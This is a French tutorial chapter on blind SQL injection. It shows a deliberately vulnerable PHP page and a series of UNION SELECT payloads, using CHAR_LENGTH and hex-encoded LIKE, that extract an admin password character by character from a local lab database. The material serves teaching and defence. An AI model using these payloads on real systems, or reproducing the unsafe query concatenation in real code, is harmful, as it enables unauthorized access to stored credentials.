Licence CC BY

Blind SQL Injection

Une Blind SQL Injection (ou injection SQL en aveugle en français), c'est un peu un jeu de devinettes : la personne que vous interrogez ne peut répondre que par oui ou non. Il faudrait donc un certain nombre de questions avant de tomber sur l'information que vous souhaiteriez, contrairement à une requête « classique » qui nous retournerait directement le résultat.

Voici le fichier PHP qui nous servira pour cet exercice :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
    // code source de user.php
    $host = "localhost";
    $user_mysql = "root";     // nom d'utilisateur de l'utilisateur de MySQL 
    $password_mysql = "";     // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);
    mysqli_set_charset($db, "utf8");
?>

<!DOCTYPE html>
<html lang="fr">
    <head>
        <title></title>
        <meta charset="UTF-8" />
    </head>
    <body>
        <?php
            if(!empty($_GET['id']))
            {
                $id = mysqli_real_escape_string($db, $_GET['id']);
                $query = "SELECT id, username FROM users WHERE id = ".$id;
                $rs_article = mysqli_query($db, $query);

                if(mysqli_num_rows($rs_article) == 1)
                {
                    echo "<p>Utilisateur existant.</p>";
                }
                else
                {
                    echo "<p>Utilisateur inexistant.</p>";
                }
            }
        ?>
    </body>
</html>

Contenu de user.php

Commençons !

Exploitation

Ce bout de code vérifie si un utilisateur correspondant à l'ID entré en paramètre existe ou non. Le site nous dit juste « Utilisateur existant. » ou « Utilisateur inexistant. » mais, à aucun moment, les informations de cet utilisateur ne sont affichées. C'est, typiquement, le genre de script qui est, par exemple, utilisé lors d'une inscription : si le pseudo est déjà utilisé, un message d'erreur est affiché, sinon on accepte l'inscription.

Dans notre cas, nous pouvons déjà déduire 2 choses :

  • si le message « Utilisateur existant. » apparaît, c'est que la requête a renvoyé un résultat.
  • si le message « Utilisateur inexistant. » apparaît, c'est que la requête n'a pas renvoyé de résultat.

Ces deux messages sont tout ce dont nous avons besoin pour mener à bien notre exploitation ! Hé oui, car nous pouvons tout à fait savoir quand la requête retourne un résultat positif (ce qui correspond à un « oui ») et quand la requête retourne un résultat négatif (ce qui correspond à un « non »).

Pour trouver notre information, nous procéderons par force brute, et plus précisément par force brute « efficiente » (efficacité au moindre coût si vous préférez) ! :P

La force brute « pure », c'est tester toutes les combinaisons en demandant « si c'est égal à », la force brute efficiente (ce que SQL nous permet de faire) c'est de demander si la chaîne recherchée « commence par » ou encore « si la ne lettre est » : on ne teste pas l'ensemble mais une partie de cet ensemble, ce qui réduit considérablement le nombre de requêtes a effectuer.

Un petit calcul pour nous rendre compte de la différence entre les deux méthodes (nous connaissons la longueur du mot de passe et nous savons qu'il n'y a que des lettres minuscules).

  • Par force brute « pure » : 456976 essais, au maximum, pour trouver le mot de passe (264).
  • Par force brute « efficiente » : 104 essais, au maximum, pour trouver le mot de passe (26 + 26 + 26 + 26).

Passons à la pratique.

Pour faciliter les choses, nous supposerons que nous connaissons la table, les champs ainsi que l'ID de l'admin.

Comme nous allons faire une UNION de 2 requêtes il faut être sûr que la première ne renverra aucun résultat : un ID négatif devrait faire l'affaire. Ensuite nous allons préciser, dans notre seconde requête, une condition qui va nous permettre de voir ce qui se produit quand la seconde requête retourne ou non un résultat.

Requête qui retourne un résultat (car 1 est égal à 1).

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE 1=1

1
SELECT id, username FROM users WHERE id = -1 UNION SELECT 1,2 FROM users WHERE 1=1

Requête qui ne retourne aucun résultat (car 1 n'est pas égal à 2).

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE 1=2

Nous sélectionnons ensuite l'admin (ce dernier possède l'ID 1).

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1

1
SELECT id, username FROM users WHERE id = -1 UNION SELECT 1,2 FROM users WHERE id = 1

Trouver la longueur du champ

Premièrement il nous faut connaître la longueur du mot de passe. On peut calculer la longueur d'une chaîne de caractère en utilisant la fonction CHAR_LENGTH de SQL.

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND CHAR_LENGTH(password) > 2

1
2
3
4
5
6
7
SELECT id, username 
FROM users 
WHERE id = -1 
UNION 
SELECT 1,2 
FROM users 
WHERE id = 1 AND CHAR_LENGTH(password) > 2

La page nous affiche « Utilisateur existant. » ce qui, comme je vous le rappelle, correspond à un oui, donc on peut déduire que le mot de passe fait plus de 2 caractères. ;-)

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND CHAR_LENGTH(password) < 5

Même chose, il fait donc strictement plus de 2 caractères et strictement moins de 5 caractères : en bref, il fait soit 3 ou 4 caractères.

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND CHAR_LENGTH(password) = 3

1
2
3
4
5
6
7
SELECT id, username 
FROM users 
WHERE id = -1 
UNION 
SELECT 1,2 
FROM users 
WHERE id = 1 AND CHAR_LENGTH(password) = 3

« Utilisateur inexistant. » donc il ne fait pas 3 caractères, ce qui ne nous laisse plus qu'une seule possibilité que nous allons vérifier par la requête suivante.

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND CHAR_LENGTH(password) = 4

« Utilisateur existant. » : notre mot de passe fait 4 caractères ! ^^

Jouons aux devinettes

L'opérateur LIKE va nous être très utile mais ce n'est, bien sûr, pas la seule façon de procéder, on peut aussi par exemple se servir de SUBSTR pour ne prendre que le caractère qui nous intéresse et ainsi pouvoir comparer caractère par caractère. Mais LIKE a le gros avantage de nous permette l'utilisation du joker % qui remplace n'importe quelle chaîne de caractères.

Par exemple

  • ab% voudrait dire : « Une chaîne de caractères commençant par ab. ».
  • %ab signifierait par contre « Une chaîne de caractères finissant par ab. ».
  • %ab% : « Une chaîne de caractères contenant ab. ».

Comme la requête est échappée, nous introduirons notre chaîne sous forme hexadécimale (ou via des fonctions comme CHAR).

Nous commençons par la première lettre (a en notation hexadécimale équivaut à 0x61 et % à 0x25).

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x6125

1
2
3
4
5
6
7
SELECT id, username 
FROM users 
WHERE id = -1 
UNION 
SELECT 1,2 
FROM users 
WHERE id = 1 AND password LIKE 0x6125

« Utilisateur inexistant. » : on en conclut donc que la première lettre n'est pas a.

Puis, nous testons la lettre b.

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x6225

Et ainsi de suite, on ne va pas faire tout l'alphabet mais j'imagine que vous avez compris le principe. ;-)

Nous arrivons donc à la lettre t (0x74 en hexadécimal).

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x7425

Ah ! « Utilisateur existant. », ce qui veut dire… que notre mot de passe commence par t (rappel : le mot de passe de l'admin est « truc » – oui, j'ai été très inspiré ^^ ).

Et zou, nous recommençons avec la deuxième lettre. Nous testons donc ta, puis tb, puis tc etc etc, et, logiquement, nous arrivons à tr.

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x747225

1
2
3
4
5
6
7
SELECT id, username 
FROM users 
WHERE id = -1 
UNION 
SELECT 1,2 
FROM users 
WHERE id = 1 AND password LIKE 0x747225

Bingo ! Nous avons trouvé notre deuxième lettre. :)

On recommence la même chose pour la troisième lettre (sans oublier le % juste après) : tra, trb, trc, trdtru.

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x74727525

Plus qu'une ! Vu que c'est la dernière, nous pouvons enlever le % (qui, pour rappel, correspond au 25 à la fin) c'est à dire que là nous ne disons plus : « si la chaîne commence par » mais « si la chaîne est ».

Et c'est reparti pour un dernier tour de piste.

trua, trub… et finalement :

http://localhost/zds/injections_sql/user.php?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x74727563

Ça y est, nous avons enfin notre mot de passe : truc !

Comme vous le voyez, cela nous a pris un peu plus de requêtes pour le découvrir :

  • Pour la première lettre : 20 requêtes.
  • Pour la seconde lettre : 21 requêtes.
  • Pour la troisième lettre : 19 requêtes.
  • Pour la quatrième lettre : 3 requêtes.

Au total, pour un seul mot de 4 caractères et en supposant que celui ci n'est composé que de lettres et que ces dernières ne sont pas sensibles à la case, il nous a fallu tout de même 53 requêtes. Il y a sûrement des moyens de recherche plus efficaces, mais celui-ci est simple à comprendre. Et ça, c'est uniquement pour la recherche d'un seul champ ! Car il faut faire de même pour trouver les tables, les champs de ces tables (pour rappel, nous avons facilité les choses en supposant que nous connaissions ces informations là, mais en pratique ce n'est pas le cas) et si vous avez 10.000 enregistrements, 5 champs intéressants, cela vous fait 50.000 champs à devoir parcourir et tester, et ce, lettre par lettre. Ça va en faire un paquet, de requêtes.

Vous comprenez aisément pourquoi il vaudrait mieux se coder un programme ou un script qui ferait ces tests à notre place, mais aussi pourquoi ce type de type d'injection prend plus de temps que celles que nous avons rencontrées jusqu'à présent. Malgré tout, elles n'en restent pas moins exploitables. ;-)


Les injections SQL en aveugle sont assez courantes, demandent plus de temps (et de requêtes) mais sont toutes aussi exploitables que celles que nous avons vues précédemment.

Mais il y a encore plus difficile : que diriez vous d'une injection qui est exploitable, mais qui n'affiche aucun résultat, ou plutôt n'affiche absolument rien de visible qui permette de savoir si elle a renvoyé un enregistrement ou pas ?

Eh bien, c'est justement le prochain type d'injection SQL que nous allons aborder dans la partie suivante : les Total Blind SQL Injection.